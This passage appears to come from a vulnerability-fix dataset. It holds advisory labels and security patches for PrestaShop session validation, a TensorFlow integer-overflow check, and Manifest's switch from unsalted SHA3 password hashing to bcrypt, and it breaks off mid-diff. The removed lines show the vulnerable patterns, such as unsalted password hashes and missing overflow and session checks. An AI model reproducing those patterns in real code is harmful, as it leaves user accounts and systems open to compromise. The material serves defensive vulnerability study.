Vzc2lvbigpOwogICAgICAgICB1bnNldCgKICAgICAgICAgICAgICR0aGlzLT5fY29udGVudFsnaWRfY3VzdG9tZXInXSwKICAgICAgICAgICAgICR0aGlzLT5fY29udGVudFsnaWRfZ3Vlc3QnXSwKQEAgLTUxNCw3ICs1MTUsNyBAQCBwdWJsaWMgZnVuY3Rpb24gZGVsZXRlU2Vzc2lvbigpCiAgICAgICovCiAgICAgcHVibGljIGZ1bmN0aW9uIGlzU2Vzc2lvbkFsaXZlKCkKICAgICB7Ci0gICAgICAgIGlmICghaXNzZXQoJHRoaXMtPnNlc3Npb25faWQsICR0aGlzLT5zZXNzaW9uX3Rva2VuKSkgeworICAgICAgICBpZiAoIWlzc2V0KCR0aGlzLT5zZXNzaW9uX2lkKSB8fCAhaXNzZXQoJHRoaXMtPnNlc3Npb25fdG9rZW4pKSB7CiAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgIH0=", "url": "https://github.com/PrestaShop/PrestaShop/commit/2f673bd93e313f08c35e74decc105f40dc0b7dee.patch" } ]
CWE-287: Improper Authentication
PYSEC-2021-160
null
[ { "commit_message": "[PATCH] Fix overflow CHECK issue with `tf.raw_ops.AddManySparseToTensorsMap`. PiperOrigin-RevId: 369492969 Change-Id: I1d70d6c0c92e3d7a25bc3b3aa2a0c0ac9688bf81 .../core/kernels/sparse_tensors_map_ops.cc | 26 ++++++++++++++----- 1 file changed, 19 insertions(+), 7 deletions(-)", "patch_text_b64": "RnJvbSA2OWM2OGVjYmIyNGRmZjNmYTBlNDZkYTBkMTZjODIxYTJkZDIyZDdjIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBBbWl0IFBhdGFua2FyIDxhbWl0cGF0YW5rYXJAZ29vZ2xlLmNvbT4KRGF0ZTogVHVlLCAyMCBBcHIgMjAyMSAxMjoxNDo0MSAtMDcwMApTdWJqZWN0OiBbUEFUQ0hdIEZpeCBvdmVyZmxvdyBDSEVDSyBpc3N1ZSB3aXRoCiBgdGYucmF3X29wcy5BZGRNYW55U3BhcnNlVG9UZW5zb3JzTWFwYC4KClBpcGVyT3JpZ2luLVJldklkOiAzNjk0OTI5NjkKQ2hhbmdlLUlkOiBJMWQ3MGQ2YzBjOTJlM2Q3YTI1YmMzYjNhYTJhMGMwYWM5Njg4YmY4MQotLS0KIC4uLi9jb3JlL2tlcm5lbHMvc3BhcnNlX3RlbnNvcnNfbWFwX29wcy5jYyAgICB8IDI2ICsrKysrKysrKysrKysrLS0tLS0KIDEgZmlsZSBjaGFuZ2VkLCAxOSBpbnNlcnRpb25zKCspLCA3IGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL3RlbnNvcmZsb3cvY29yZS9rZXJuZWxzL3NwYXJzZV90ZW5zb3JzX21hcF9vcHMuY2MgYi90ZW5zb3JmbG93L2NvcmUva2VybmVscy9zcGFyc2VfdGVuc29yc19tYXBfb3BzLmNjCmluZGV4IGMyYzBlNDNjYTJiYThkLi41ZWE1ZmNhNTQ0ZDNlOSAxMDA2NDQKLS0tIGEvdGVuc29yZmxvdy9jb3JlL2tlcm5lbHMvc3BhcnNlX3RlbnNvcnNfbWFwX29wcy5jYworKysgYi90ZW5zb3JmbG93L2NvcmUva2VybmVscy9zcGFyc2VfdGVuc29yc19tYXBfb3BzLmNjCkBAIC0yMSw5ICsyMSw2IEBAIGxpbWl0YXRpb25zIHVuZGVyIHRoZSBMaWNlbnNlLgogI2luY2x1ZGUgPHV0aWxpdHk+CiAjaW5jbHVkZSA8dmVjdG9yPgogCi0jaW5jbHVkZSAidGVuc29yZmxvdy9jb3JlL2ZyYW1ld29yay9vcF9rZXJuZWwuaCIKLSNpbmNsdWRlICJ0ZW5zb3JmbG93L2NvcmUvZnJhbWV3b3JrL3JlZ2lzdGVyX3R5cGVzLmgiCi0KICNpbmNsdWRlICJ0ZW5zb3JmbG93L2NvcmUvZnJhbWV3b3JrL29wX2tlcm5lbC5oIgogI2luY2x1ZGUgInRlbnNvcmZsb3cvY29yZS9mcmFtZXdvcmsvcmVnaXN0ZXJfdHlwZXMuaCIKICNpbmNsdWRlICJ0ZW5zb3JmbG93L2NvcmUvZnJhbWV3b3JrL3Jlc291cmNlX21nci5oIgpAQCAtMzEsNiArMjgsNyBAQCBsaW1pdGF0aW9ucyB1bmRlciB0aGUgTGljZW5zZS4KICNpbmNsdWRlICJ0ZW5zb3JmbG93L2NvcmUvZnJhbWV3b3JrL3RlbnNvcl91dGlsLmgiCiAjaW5jbHVkZSAidGVuc29yZmxvdy9jb3JlL2ZyYW1ld29yay90eXBlcy5oIgogI2luY2x1ZGUgInRlbnNvcmZsb3cvY29yZS9saWIvZ3RsL2lubGluZWRfdmVjdG9yLmgiCisjaW5jbHVkZSAidGVuc29yZmxvdy9jb3JlL3V0aWwvb3ZlcmZsb3cuaCIKICNpbmNsdWRlICJ0ZW5zb3JmbG93L2NvcmUvdXRpbC9zcGFyc2Uvc3BhcnNlX3RlbnNvci5oIgogCiBuYW1lc3BhY2UgdGVuc29yZmxvdyB7CkBAIC0yNTQsNyArMjUyLDIyIEBAIGNsYXNzIEFkZE1hbnlTcGFyc2VUb1RlbnNvcnNNYXBPcCA6IHB1YmxpYyBTcGFyc2VUZW5zb3JBY2Nlc3NpbmdPcCB7CiAgICAgICAgIGVycm9yczo6SW52YWxpZEFyZ3VtZW50KAogICAgICAgICAgICAgIlJhbmsgb2YgaW5wdXQgU3BhcnNlVGVuc29yIHNob3VsZCBiZSA+IDEsIGJ1dCBzYXcgcmFuazogIiwgcmFuaykpOwogCi0gICAgVGVuc29yU2hhcGUgdGVuc29yX2lucHV0X3NoYXBlKGlucHV0X3NoYXBlLT52ZWM8aW50NjQ+KCkpOworICAgIGF1dG8gaW5wdXRfc2hhcGVfdmVjID0gaW5wdXRfc2hhcGUtPnZlYzxpbnQ2ND4oKTsKKyAgICBpbnQgbmV3X251bV9lbGVtZW50cyA9IDE7CisgICAgYm9vbCBvdmVyZmxvd19vY3VycmVkID0gZmFsc2U7CisgICAgZm9yIChpbnQgaSA9IDA7IGkgPCBpbnB1dF9zaGFwZV92ZWMuc2l6ZSgpOyBpKyspIHsKKyAgICAgIG5ld19udW1fZWxlbWVudHMgPQorICAgICAgICAgIE11bHRpcGx5V2l0aG91dE92ZXJmbG93KG5ld19udW1fZWxlbWVudHMsIGlucHV0X3NoYXBlX3ZlYyhpKSk7CisgICAgICBpZiAobmV3X251bV9lbGVtZW50cyA8IDApIHsKKyAgICAgICAgb3ZlcmZsb3dfb2N1cnJlZCA9IHRydWU7CisgICAgICB9CisgICAgfQorCisgICAgT1BfUkVRVUlSRVMoCisgICAgICAgIGNvbnRleHQsICFvdmVyZmxvd19vY3VycmVkLAorICAgICAgICBlcnJvcnM6OkludGVybmFsKCJFbmNvdW50ZXJlZCBvdmVyZmxvdyBmcm9tIGxhcmdlIGlucHV0IHNoYXBlLiIpKTsKKworICAgIFRlbnNvclNoYXBlIHRlbnNvcl9pbnB1dF9zaGFwZShpbnB1dF9zaGFwZV92ZWMpOwogICAgIGd0bDo6SW5saW5lZFZlY3RvcjxpbnQ2NCwgOD4gc3RkX29yZGVyKHJhbmspOwogICAgIHN0ZDo6aW90YShzdGRfb3JkZXIuYmVnaW4oKSwgc3RkX29yZGVyLmVuZCgpLCAwKTsKICAgICBTcGFyc2VUZW5zb3IgaW5wdXRfc3Q7CkBAIC0yNjIsOCArMjc1LDcgQEAgY2xhc3MgQWRkTWFueVNwYXJzZVRvVGVuc29yc01hcE9wIDogcHVibGljIFNwYXJzZVRlbnNvckFjY2Vzc2luZ09wIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0ZW5zb3JfaW5wdXRfc2hhcGUsIHN0ZF9vcmRlciwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAmaW5wdXRfc3QpKTsKIAotICAgIGF1dG8gaW5wdXRfc2hhcGVfdCA9IGlucHV0X3NoYXBlLT52ZWM8aW50NjQ+KCk7Ci0gICAgY29uc3QgaW50NjQgTiA9IGlucHV0X3NoYXBlX3QoMCk7CisgICAgY29uc3QgaW50NjQgTiA9IGlucHV0X3NoYXBlX3ZlYygwKTsKIAogICAgIFRlbnNvciBzcGFyc2VfaGFuZGxlcyhEVF9JTlQ2NCwgVGVuc29yU2hhcGUoe059KSk7CiAgICAgYXV0byBzcGFyc2VfaGFuZGxlc190ID0gc3BhcnNlX2hhbmRsZXMudmVjPGludDY0PigpOwpAQCAtMjc0LDcgKzI4Niw3IEBAIGNsYXNzIEFkZE1hbnlTcGFyc2VUb1RlbnNvcnNNYXBPcCA6IHB1YmxpYyBTcGFyc2VUZW5zb3JBY2Nlc3NpbmdPcCB7CiAgICAgLy8gbWluaWJhdGNoIGVudHJpZXMuCiAgICAgVGVuc29yU2hhcGUgb3V0cHV0X3NoYXBlOwogICAgIE9QX1JFUVVJUkVTX09LKGNvbnRleHQsIFRlbnNvclNoYXBlVXRpbHM6Ok1ha2VTaGFwZSgKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW5wdXRfc2hhcGVfdC5kYXRhKCkgKyAxLAorICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpbnB1dF9zaGFwZV92ZWMuZGF0YSgpICsgMSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW5wdXRfc2hhcGUtPk51bUVsZW1lbnRzKCkgLSAxLCAmb3V0cHV0X3NoYXBlKSk7CiAKICAgICAvLyBHZXQgZ3JvdXBzIGJ5IG1pbmliYXRjaCBkaW1lbnNpb24=", "url": "https://github.com/tensorflow/tensorflow/commit/69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c.patch" } ]
null
GHSA-h8h6-7752-g28c
Manifest Uses a One-Way Hash without a Salt
null
[ { "commit_message": "[PATCH 1/4] fix(login): error flash message not showing Somehow the flash message is not appearing in the login page. I replaced it with an alert() for the moment. Let's see that later .../auth/views/login/login.component.html | 16 ++++++++-------- .../modules/auth/views/login/login.component.ts | 8 +++----- 2 files changed, 11 insertions(+), 13 deletions(-)", "patch_text_b64": "From 384e9e04bfa7ed4e8401b3de0e4654a8d03eba93 Mon Sep 17 00:00:00 2001
From: Bruno <bruno@buddyweb.fr>
Date: Fri, 28 Feb 2025 09:48:47 +0100
Subject: [PATCH 1/4] fix(login): error flash message not showing

Somehow the flash message is not appearing in the login page. I replaced it with an alert() for the moment. Let's see that later
---
 .../auth/views/login/login.component.html        | 16 ++++++++--------
 .../modules/auth/views/login/login.component.ts  |  8 +++-----
 2 files changed, 11 insertions(+), 13 deletions(-)

diff --git a/packages/core/admin/src/app/modules/auth/views/login/login.component.html b/packages/core/admin/src/app/modules/auth/views/login/login.component.html
index 7ac5945a8..b2cad8921 100644
--- a/packages/core/admin/src/app/modules/auth/views/login/login.component.html
+++ b/packages/core/admin/src/app/modules/auth/views/login/login.component.html
@@ -38,15 +38,15 @@ <h2 class="title is-4">Sign in</h2>
                   ></app-input>
                 </div>
               </div>
-            </div>
 
-            <button
-              class="button is-block is-dark is-fullwidth mb-3"
-              (click)="submit()"
-              [disabled]="!form.valid"
-            >
-              Login
-            </button>
+              <button
+                class="button is-block is-dark is-fullwidth mb-3"
+                (click)="submit()"
+                [disabled]="!form.valid"
+              >
+                Login
+              </button>
+            </div>
           </div>
         </div>
       </div>
diff --git a/packages/core/admin/src/app/modules/auth/views/login/login.component.ts b/packages/core/admin/src/app/modules/auth/views/login/login.component.ts
index f91d5ca0b..7d89d487f 100644
--- a/packages/core/admin/src/app/modules/auth/views/login/login.component.ts
+++ b/packages/core/admin/src/app/modules/auth/views/login/login.component.ts
@@ -5,7 +5,6 @@ import { ActivatedRoute, Params, Router } from '@angular/router'
 
 import { PropType } from '@repo/types'
 
-import { FlashMessageService } from '../../../shared/services/flash-message.service'
 import { AuthService } from '../../auth.service'
 import { DEFAULT_ADMIN_CREDENTIALS } from '../../../../../constants'
 
@@ -25,8 +24,7 @@ export class LoginComponent implements OnInit {
   constructor(
     private readonly authService: AuthService,
     private router: Router,
-    private activatedRoute: ActivatedRoute,
-    private flashMessageService: FlashMessageService
+    private activatedRoute: ActivatedRoute
   ) {}
 
   ngOnInit(): void {
@@ -64,11 +62,11 @@ export class LoginComponent implements OnInit {
 
   submit() {
     this.authService.login(this.form.value).then(
-      (res) => {
+      () => {
         this.router.navigate(['/'])
       },
       (err: HttpErrorResponse) => {
-        this.flashMessageService.error(
+        alert(
           err.status === 401
             ? `Error: Incorrect username or password.`
             : err.error.message

From 2c4d3f34b8d075d7e3a183e21106a7b08fce2691 Mon Sep 17 00:00:00 2001
From: Bruno <bruno@buddyweb.fr>
Date: Fri, 28 Feb 2025 10:21:43 +0100
Subject: [PATCH 2/4] feat(passwords): replace SHA3 encryption by bcrypt with
 10 rounds salt

---
 package-lock.json                             | 220 ++++++++++++++++--
 packages/core/manifest/package.json           |   3 +-
 .../core/manifest/src/auth/auth.service.ts    |  77 ++++--
 packages/core/manifest/src/constants.ts       |   3 +
 .../src/crud/services/crud.service.ts         |  15 +-
 .../src/seed/services/seeder.service.ts       |  27 ++-
 .../src/seed/tests/seeder.service.spec.ts     |  22 +-
 7 files changed, 300 insertions(+), 67 deletions(-)

diff --git a/package-lock.json b/package-lock.json
index 24ca5784a..320daadc6 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -8123,6 +8123,164 @@
         "node": ">= 4.0.0"
       }
     },
+    "node_modules/@mapbox/node-pre-gyp": {
+      "version": "1.0.11",
+      "resolved": "https://registry.npmjs.org/@mapbox/node-pre-gyp/-/node-pre-gyp-1.0.11.tgz",
+      "integrity": "sha512-Yhlar6v9WQgUp/He7BdgzOz8lqMQ8sU+jkCq7Wx8Myc5YFJLbEe7lgui/V7G1qB1DJykHSGwreceSaD60Y0PUQ==",
+      "license": "BSD-3-Clause",
+      "dependencies": {
+        "detect-libc": "^2.0.0",
+        "https-proxy-agent": "^5.0.0",
+        "make-dir": "^3.1.0",
+        "node-fetch": "^2.6.7",
+        "nopt": "^5.0.0",
+        "npmlog": "^5.0.1",
+        "rimraf": "^3.0.2",
+        "semver": "^7.3.5",
+        "tar": "^6.1.11"
+      },
+      "bin": {
+        "node-pre-gyp": "bin/node-pre-gyp"
+      }
+    },
+    "node_modules/@mapbox/node-pre-gyp/node_modules/abbrev": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz",
+      "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==",
+      "license": "ISC"
+    },
+    "node_modules/@mapbox/node-pre-gyp/node_modules/agent-base": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
+      "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
+      "license": "MIT",
+      "dependencies": {
+        "debug": "4"
+      },
+      "engines": {
+        "node": ">= 6.0.0"
+      }
+    },
+    "node_modules/@mapbox/node-pre-gyp/node_modules/are-we-there-yet": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-2.0.0.tgz",
+      "integrity": "sha512-Ci/qENmwHnsYo9xKIcUJN5LeDKdJ6R1Z1j9V/J5wyq8nh/mYPEpIKJbBZXtZjG04HiK7zV/p6Vs9952MrMeUIw==",
+      "deprecated": "This package is no longer supported.",
+      "license": "ISC",
+      "dependencies": {
+        "delegates": "^1.0.0",
+        "readable-stream": "^3.6.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/@mapbox/node-pre-gyp/node_modules/gauge": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/gauge/-/gauge-3.0.2.tgz",
+      "integrity": "sha512-+5J6MS/5XksCuXq++uFRsnUd7Ovu1XenbeuIuNRJxYWjgQbPuFhT14lAvsWfqfAmnwluf1OwMjz39HjfLPci0Q==",
+      "deprecated": "This package is no longer supported.",
+      "license": "ISC",
+      "dependencies": {
+        "aproba": "^1.0.3 || ^2.0.0",
+        "color-support": "^1.1.2",
+        "console-control-strings": "^1.0.0",
+        "has-unicode": "^2.0.1",
+        "object-assign": "^4.1.1",
+        "signal-exit": "^3.0.0",
+        "string-width": "^4.2.3",
+        "strip-ansi": "^6.0.1",
+        "wide-align": "^1.1.2"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/@mapbox/node-pre-gyp/node_modules/https-proxy-agent": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
+      "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==",
+      "license": "MIT",
+      "dependencies": {
+        "agent-base": "6",
+        "debug": "4"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/@mapbox/node-pre-gyp/node_modules/make-dir": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+      "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+      "license": "MIT",
+      "dependencies": {
+        "semver": "^6.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/@mapbox/node-pre-gyp/node_modules/make-dir/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "license": "ISC",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/@mapbox/node-pre-gyp/node_modules/nopt": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz",
+      "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==",
+      "license": "ISC",
+      "dependencies": {
+        "abbrev": "1"
+      },
+      "bin": {
+        "nopt": "bin/nopt.js"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/@mapbox/node-pre-gyp/node_modules/npmlog": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-5.0.1.tgz",
+      "integrity": "sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==",
+      "deprecated": "This package is no longer supported.",
+      "license": "ISC",
+      "dependencies": {
+        "are-we-there-yet": "^2.0.0",
+        "console-control-strings": "^1.1.0",
+        "gauge": "^3.0.0",
+        "set-blocking": "^2.0.0"
+      }
+    },
+    "node_modules/@mapbox/node-pre-gyp/node_modules/readable-stream": {
+      "version": "3.6.2",
+      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
+      "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
+      "license": "MIT",
+      "dependencies": {
+        "inherits": "^2.0.3",
+        "string_decoder": "^1.1.1",
+        "util-deprecate": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/@mapbox/node-pre-gyp/node_modules/signal-exit": {
+      "version": "3.0.7",
+      "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
+      "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==",
+      "license": "ISC"
+    },
     "node_modules/@microsoft/tsdoc": {
       "version": "0.15.0",
       "license": "MIT"
@@ -10805,6 +10963,16 @@
         "@babel/types": "^7.20.7"
       }
     },
+    "node_modules/@types/bcrypt": {
+      "version": "5.0.2",
+      "resolved": "https://registry.npmjs.org/@types/bcrypt/-/bcrypt-5.0.2.tgz",
+      "integrity": "sha512-6atioO8Y75fNcbmj0G7UjI9lXN2pQ/IGJ2FWT4a/btd0Lk9lQalHLKhkgKVZ3r+spnmWUKfbMi1GEe9wyHQfNQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@types/node": "*"
+      }
+    },
     "node_modules/@types/body-parser": {
       "version": "1.19.5",
       "dev": true,
@@ -11921,8 +12089,7 @@
     },
     "node_modules/aproba": {
       "version": "2.0.0",
-      "license": "ISC",
-      "optional": true
+      "license": "ISC"
     },
     "node_modules/archiver": {
       "version": "7.0.1",
@@ -12525,6 +12692,20 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/bcrypt": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/bcrypt/-/bcrypt-5.1.1.tgz",
+      "integrity": "sha512-AGBHOG5hPYZ5Xl9KXzU5iKq9516yEmvCKDg3ecP5kX2aB6UqTeXZxk2ELnDgDm6BQSMlLt9rDB4LoSMx0rYwww==",
+      "hasInstallScript": true,
+      "license": "MIT",
+      "dependencies": {
+        "@mapbox/node-pre-gyp": "^1.0.11",
+        "node-addon-api": "^5.0.0"
+      },
+      "engines": {
+        "node": ">= 10.0.0"
+      }
+    },
     "node_modules/bcrypt-pbkdf": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz",
@@ -12534,6 +12715,12 @@
         "tweetnacl": "^0.14.3"
       }
     },
+    "node_modules/bcrypt/node_modules/node-addon-api": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-5.1.0.tgz",
+      "integrity": "sha512-eh0GgfEkpnoWDq+VY8OyvYhFEzBk6jIYbRKdIlyTiAXIVJ8PyBaKb0rp7oDtoddbdoHWhq8wwr+XZ81F1rpNdA==",
+      "license": "MIT"
+    },
     "node_modules/before-after-hook": {
       "version": "2.2.3",
       "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-2.2.3.tgz",
@@ -13402,7 +13589,6 @@
     "node_modules/color-support": {
       "version": "1.1.3",
       "license": "ISC",
-      "optional": true,
       "bin": {
         "color-support": "bin.js"
       }
@@ -13680,8 +13866,7 @@
     },
     "node_modules/console-control-strings": {
       "version": "1.1.0",
-      "license": "ISC",
-      "optional": true
+      "license": "ISC"
     },
     "node_modules/constant-case": {
       "version": "3.0.4",
@@ -14050,10 +14235,6 @@
         "node": ">= 8"
       }
     },
-    "node_modules/crypto-js": {
-      "version": "4.2.0",
-      "license": "MIT"
-    },
     "node_modules/css-loader": {
       "version": "6.10.0",
       "dev": true,
@@ -14297,8 +14478,7 @@
     },
     "node_modules/delegates": {
       "version": "1.0.0",
-      "license": "MIT",
-      "optional": true
+      "license": "MIT"
     },
     "node_modules/depd": {
       "version": "2.0.0",
@@ -16324,8 +16504,7 @@
     },
     "node_modules/has-unicode": {
       "version": "2.0.1",
-      "license": "ISC",
-      "optional": true
+      "license": "ISC"
     },
     "node_modules/hasown": {
       "version": "2.0.2",
@@ -24972,7 +25151,6 @@
     },
     "node_modules/rimraf": {
       "version": "3.0.2",
-      "devOptional": true,
       "license": "ISC",
       "dependencies": {
         "glob": "^7.1.3"
@@ -24986,7 +25164,6 @@
     },
     "node_modules/rimraf/node_modules/brace-expansion": {
       "version": "1.1.11",
-      "devOptional": true,
       "license": "MIT",
       "dependencies": {
         "balanced-match": "^1.0.0",
@@ -24995,7 +25172,6 @@
     },
     "node_modules/rimraf/node_modules/glob": {
       "version": "7.2.3",
-      "devOptional": true,
       "license": "ISC",
       "dependencies": {
         "fs.realpath": "^1.0.0",
@@ -25014,7 +25190,6 @@
     },
     "node_modules/rimraf/node_modules/minimatch": {
       "version": "3.1.2",
-      "devOptional": true,
       "license": "ISC",
       "dependencies": {
         "brace-expansion": "^1.1.7"
@@ -25398,8 +25573,7 @@
     },
     "node_modules/set-blocking": {
       "version": "2.0.0",
-      "license": "ISC",
-      "optional": true
+      "license": "ISC"
     },
     "node_modules/set-function-length": {
       "version": "1.2.2",
@@ -28827,7 +29001,6 @@
     "node_modules/wide-align": {
       "version": "1.1.5",
       "license": "ISC",
-      "optional": true,
       "dependencies": {
         "string-width": "^1.0.2 || 2 || 3 || 4"
       }
@@ -29090,7 +29263,7 @@
       "license": "MIT"
     },
     "packages/add-manifest": {
-      "version": "1.1.0",
+      "version": "1.1.1",
       "license": "MIT",
       "dependencies": {
         "@oclif/core": "^3",
@@ -29164,7 +29337,7 @@
       }
     },
     "packages/core/manifest": {
-      "version": "4.7.1",
+      "version": "4.9.1",
       "license": "MIT",
       "dependencies": {
         "@aws-sdk/client-s3": "^3.744.0",
@@ -29176,12 +29349,12 @@
         "@nestjs/swagger": "^7.3.1",
         "@nestjs/typeorm": "^10.0.2",
         "ajv": "^8.17.1",
+        "bcrypt": "^5.1.1",
         "chalk": "^4.1.2",
         "class-transformer": "^0.5.1",
         "class-validator": "^0.14.1",
         "cli-table": "^0.3.11",
         "connect-livereload": "^0.6.1",
-        "crypto-js": "^4.2.0",
         "dasherize": "^2.0.0",
         "js-yaml": "^4.1.0",
         "jsonwebtoken": "^9.0.2",
@@ -29206,6 +29379,7 @@
         "@nestjs/schematics": "^10.2.3",
         "@nestjs/testing": "^10.4.8",
         "@testcontainers/postgresql": "^10.18.0",
+        "@types/bcrypt": "^5.0.2",
         "@types/dasherize": "^2.0.3",
         "@types/express": "^4.17.21",
         "@types/js-yaml": "^4.0.9",
diff --git a/packages/core/manifest/package.json b/packages/core/manifest/package.json
index 1209d7f11..3c37a4b87 100644
--- a/packages/core/manifest/package.json
+++ b/packages/core/manifest/package.json
@@ -68,12 +68,12 @@
     "@nestjs/swagger": "^7.3.1",
     "@nestjs/typeorm": "^10.0.2",
     "ajv": "^8.17.1",
+    "bcrypt": "^5.1.1",
     "chalk": "^4.1.2",
     "class-transformer": "^0.5.1",
     "class-validator": "^0.14.1",
     "cli-table": "^0.3.11",
     "connect-livereload": "^0.6.1",
-    "crypto-js": "^4.2.0",
     "dasherize": "^2.0.0",
     "js-yaml": "^4.1.0",
     "jsonwebtoken": "^9.0.2",
@@ -98,6 +98,7 @@
     "@nestjs/schematics": "^10.2.3",
     "@nestjs/testing": "^10.4.8",
     "@testcontainers/postgresql": "^10.18.0",
+    "@types/bcrypt": "^5.0.2",
     "@types/dasherize": "^2.0.3",
     "@types/express": "^4.17.21",
     "@types/js-yaml": "^4.0.9",
diff --git a/packages/core/manifest/src/auth/auth.service.ts b/packages/core/manifest/src/auth/auth.service.ts
index 04207abe4..821858b5c 100644
--- a/packages/core/manifest/src/auth/auth.service.ts
+++ b/packages/core/manifest/src/auth/auth.service.ts
@@ -1,13 +1,17 @@
 import { AuthenticableEntity, EntityManifest } from '@repo/types'
 import { HttpException, HttpStatus, Injectable } from '@nestjs/common'
 import { ConfigService } from '@nestjs/config'
-import { SHA3 } from 'crypto-js'
+import bcrypt from 'bcrypt'
 import { Request } from 'express'
 import * as jwt from 'jsonwebtoken'
 import { Repository } from 'typeorm'
 import { EntityService } from '../entity/services/entity.service'
 import { SignupAuthenticableEntityDto } from './dtos/signup-authenticable-entity.dto'
-import { ADMIN_ENTITY_MANIFEST, DEFAULT_ADMIN_CREDENTIALS } from '../constants'
+import {
+  ADMIN_ENTITY_MANIFEST,
+  DEFAULT_ADMIN_CREDENTIALS,
+  SALT_ROUNDS
+} from '../constants'
 import { validate } from 'class-validator'
 import { EntityManifestService } from '../manifest/services/entity-manifest.service'
 
@@ -46,17 +50,12 @@ export class AuthService {
       )
     }
 
-    const entityRepository: Repository<AuthenticableEntity> =
-      this.entityService.getEntityRepository({
-        entitySlug
-      }) as Repository<AuthenticableEntity>
+    const user = await this.findUserFromCredentials(
+      entitySlug,
+      signupUserDto.email,
+      signupUserDto.password
+    )
 
-    const user = await entityRepository.findOne({
-      where: {
-        email: signupUserDto.email,
-        password: SHA3(signupUserDto.password).toString()
-      }
-    })
     if (!user) {
       throw new HttpException(
         'Invalid email or password',
@@ -107,11 +106,15 @@ export class AuthService {
       )
     }
 
-    const entityRepository: Repository<any> =
-      this.entityService.getEntityRepository({ entitySlug })
+    const entityRepository: Repository<AuthenticableEntity> =
+      this.entityService.getEntityRepository({
+        entitySlug
+      }) as Repository<AuthenticableEntity>
 
-    const newUser: AuthenticableEntity = entityRepository.create(signupUserDto)
-    newUser.password = SHA3(newUser.password).toString()
+    const newUser: AuthenticableEntity = entityRepository.create({
+      email: signupUserDto.email
+    })
+    newUser.password = bcrypt.hashSync(signupUserDto.password, SALT_ROUNDS)
 
     const errors = await validate(newUser)
     if (errors.length) {
@@ -204,18 +207,44 @@ export class AuthService {
    * @returns A promise that resolves to an object with the key 'exists' that is true if the default admin exists, and false otherwise.
    * */
   async isDefaultAdminExists(): Promise<{ exists: boolean }> {
+    const admin: AuthenticableEntity = await this.findUserFromCredentials(
